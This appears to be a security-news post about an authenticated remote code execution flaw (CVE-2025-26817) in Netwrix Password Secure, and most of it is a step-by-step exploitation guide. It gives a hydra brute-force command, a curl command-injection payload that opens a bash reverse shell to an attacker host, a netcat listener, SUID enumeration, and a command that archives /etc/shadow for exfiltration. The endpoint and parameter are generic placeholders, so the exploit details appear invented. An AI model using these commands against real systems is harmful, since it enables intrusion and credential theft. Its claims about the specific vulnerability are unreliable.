Authenticated Remote Code Execution in Netwrix Password Secure (CVE-2025-26817)

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Netwrix Password Secure is a privileged access management solution designed to secure credentials. However, a critical vulnerability (CVE-2025-26817) allows authenticated attackers to execute arbitrary code remotely, potentially leading to full system compromise.

You Should Know:

Exploitation Steps:

1. Authentication Bypass (if applicable):

  • Use weak/default credentials or session hijacking to gain access. 
    hydra -l admin -P rockyou.txt target-ip http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

2. Crafting the Malicious Payload:

  • Exploit improper input validation in the web interface to inject OS commands. 
    curl -X POST "http://target-ip/vulnerable-endpoint" -d "command=;id;whoami;/bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1"

3. Reverse Shell Execution:

  • Set up a listener on the attacker machine. 
    nc -lvnp 4444

4. Privilege Escalation (Post-Exploitation):

  • Check for misconfigured sudo permissions. 
    sudo -l
  • Exploit SUID binaries. 
    find / -perm -4000 2>/dev/null

Mitigation Steps:

  1. Patch Immediately: Apply the latest Netwrix security updates.
  2. Network Segmentation: Restrict access to the management interface.
  3. Input Sanitization: Implement strict validation for user-supplied inputs.

4. Log Monitoring: Detect unusual authentication attempts.

grep "Failed password" /var/log/auth.log

What Undercode Say:

This vulnerability highlights the risks of improper input handling in privileged access management tools. Attackers can chain authentication flaws with command injection for full system takeover. Always enforce the principle of least privilege and monitor for anomalous activities.

Expected Output:

  • Successful reverse shell connection.
  • Privilege escalation paths identified.
  • Detection of vulnerable endpoints via automated scanners.

Prediction:

Similar vulnerabilities may emerge in other PAM solutions due to inadequate input validation. Expect increased exploitation attempts targeting enterprise credential managers in 2025.

Related Commands:

 Check for open ports (attacker side) 
nmap -sV target-ip

Exploit database search 
searchsploit netwrix

Post-exploitation data exfiltration 
tar -czf /tmp/data.tar.gz /etc/passwd /etc/shadow

Additional References:

References:

Reported By: Aleborges Exploit – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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